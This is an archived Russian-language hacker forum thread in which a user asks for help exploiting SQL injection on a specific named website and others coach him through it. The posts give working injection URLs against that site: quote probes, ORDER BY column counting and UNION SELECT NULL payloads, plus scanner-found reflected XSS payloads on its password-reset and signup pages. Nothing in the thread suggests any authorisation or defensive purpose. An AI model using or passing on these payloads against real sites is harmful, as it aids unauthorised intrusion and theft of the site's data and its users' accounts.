PDA

Просмотр полной версии : Помогите с SQL injection, pls


advsystem
14.10.2006, 13:24
Вообщем нашел один сайтец, там можно провести SQL инъекцию, но у меня не совсем как-то удачно получается :( Может кто-нибудь поможет? Заранее thanks :)

http://atmsurf.com:80/news.php?ocd=view&id=1'+and+'1'='0
http://atmsurf.com:80/news.php?ocd=view&id='

пробовал много вариантов, но никак не получается.

Кстати сканер выдал еще это:

http://atmsurf.com:80/forgot_pass.php/>'><ScRiPt>alert(125764739)%3B</ScRiPt>
http://atmsurf.com:80/signup.php/>'><ScRiPt>alert(121850224)%3B</ScRiPt>

genom--
14.10.2006, 13:48
мож там фильтруется все -- вот и не вышло ???

advsystem
14.10.2006, 13:52
мож там фильтруется все -- вот и не вышло ???

Може быть, поэтому я решил спросить вас. Можно, что либо сделал там или безнадежно :)

blackybr
14.10.2006, 14:08
http://atmsurf.com:80/forgot_pass.php/>'><ScRiPt>alert(125764739)%3B</ScRiPt>
http://atmsurf.com:80/signup.php/>'><ScRiPt>alert(121850224)%3B</ScRiPt>

Acunetix Web Vul рулит ? =)
кол-во столбцов подобрал хоть? влом просто )
или не можешь имена подобрать ?

advsystem
14.10.2006, 14:14
Acunetix Web Vul рулит ? =)
кол-во столбцов подобрал хоть? влом просто )
или не можешь имена подобрать ?

Ага, хороший сканер=)
Там, кол-во столбцов пробовал подгонять, но постоянно пишут ошибку, хотя там их не много это я знаю.
А, ошибку постоянно выдает :(

blackybr
14.10.2006, 14:18
опиши способ "подгона" )

advsystem
14.10.2006, 14:25
опиши способ "подгона" )
Ну, допустим

http://atmsurf.com/news.php?ocd=view&id=1'+union+select+null,null/*
так выдает ошибку.
http://atmsurf.com/news.php?ocd=view&id=1+union+select+null,null/*
так нет.
Пробовал еще несколько вариантов.

pop_korn
14.10.2006, 14:34
эм а ковычка тут нафиг не нужна :)
поэтому
http://atmsurf.com/news.php?ocd=view&id=1/*
потом щитаеш кол-во столбцов, с помощью order by
http://atmsurf.com/news.php?ocd=view&id=1 order by 10/*
если выдало ошибку, то столбцов меньше, чем 10
подбираеш пока не узнаеш кол-во столбцов, потом собственно юзаеш union

зы уже сто раз расписали, как это делать :)

advsystem
14.10.2006, 14:37
потом щитаеш кол-во столбцов, с помощью order by
http://atmsurf.com/news.php?ocd=view&id=1 order by 10/*
если выдало ошибку, то столбцов меньше, чем 10


А если и 100 и 200 вписываешь?
И ошибку не выдает.
Полей, то всяко 100 не может быть :)

blackybr
14.10.2006, 14:38
_http://atmsurf.com:80/news.php?ocd=view&id=1'+union+select+null,null,null,null,null,null,n ull,null/*

и в чем проблема ? =) валяй даьше..

SMERSH
16.10.2006, 17:22
http://atmsurf.com:80/news.php?ocd=view&id=1'+and+'1'='0
http://atmsurf.com:80/news.php?ocd=view&id='

у тебя не получится выбрать данные из другой таблицы при помощи юнион запроса, если в скрипте выбирается только один кортеж из таблицы, если в выборке будет не одна запись, то можно прикрутить юнион запрос, как тебе показали выше
http://atmsurf.com/news.php?ocd=view&id=1+union+select+null,null/*
кол-во null, будет соответствовать кол-во выбираемых полей из таблицы в прикрученном юнион их должно быть столько же, подбирай кол-во столбцов до того момента как запрос не отработает без ошибок, потом можешь подбирать название таблицы. В общем более подробно я описал это здесь:
http://www.bit-team.com/modules.php?name=Articles&file=view&articles_id=13

*D1VER
13.12.2006, 03:02
http://www.bit-team.com/modules.php?name=Articles&file=view&articles_id=13 Отличный Мануал! Спасибо!
Возьму на заметку!

Zitt
13.12.2006, 03:09
http://www.bit-team.com/modules.php?name=Articles&file=view&articles_id=13
Он был на ачате